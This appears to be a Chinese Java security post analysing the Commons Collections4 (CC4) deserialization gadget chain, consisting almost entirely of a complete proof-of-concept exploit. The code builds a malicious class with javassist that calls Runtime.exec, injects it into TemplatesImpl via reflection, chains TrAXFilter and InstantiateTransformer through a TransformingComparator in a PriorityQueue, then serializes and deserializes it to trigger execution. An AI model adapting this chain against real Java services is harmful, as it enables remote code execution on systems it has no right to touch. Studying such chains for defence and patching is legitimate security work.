Java安全之Commons Collections4分析
CC4分析
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import javassist.*;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.util.PriorityQueue;
public class cc4 {
public static void main(String[] args) throws IOException, CannotCompileException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException, NotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException {
//使用字节码创建恶意类
String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
ClassPool classPool=ClassPool.getDefault();
classPool.appendClassPath(AbstractTranslet);
CtClass payload=classPool.makeClass("cc4Demo");
payload.setSuperclass(classPool.get(AbstractTranslet));
payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");");
byte[] bytes = payload.toBytecode();
//反射调用TemplatesImpl
String TemplatesImpl="com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
Object templates = Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{}).newInstance();
//设置_bytecodes属性,将二进的恶意类添加到_bytecodes
Field field=templates.getClass().getDeclaredField("_bytecodes");
field.setAccessible(true);
field.set(templates,new byte[][]{bytes});
//设置_name属性
Field name=templates.getClass().getDeclaredField("_name");
name.setAccessible(true);
name.set(templates,"test");
//生成tramsformer
Transformer[] trans = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(
new Class[]{Templates.class},
new Object[]{templates})
};
//生成ChainedTransformer
ChainedTransformer chian = new ChainedTransformer(trans);
TransformingComparator transCom = new TransformingComparator(chian);
//生成PriorityQueue
PriorityQueue queue = new PriorityQueue(2);
queue.add(1);
queue.add(1);
Field com = PriorityQueue.class.getDeclaredField("comparator");
com.setAccessible(true);
com.set(queue,transCom);
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("test.out"));
outputStream.writeObject(queue);
outputStream.close();
ObjectInputStream inputStream=new ObjectInputStream(new FileInputStream("test.out"));
inputStream.readObject();
}
}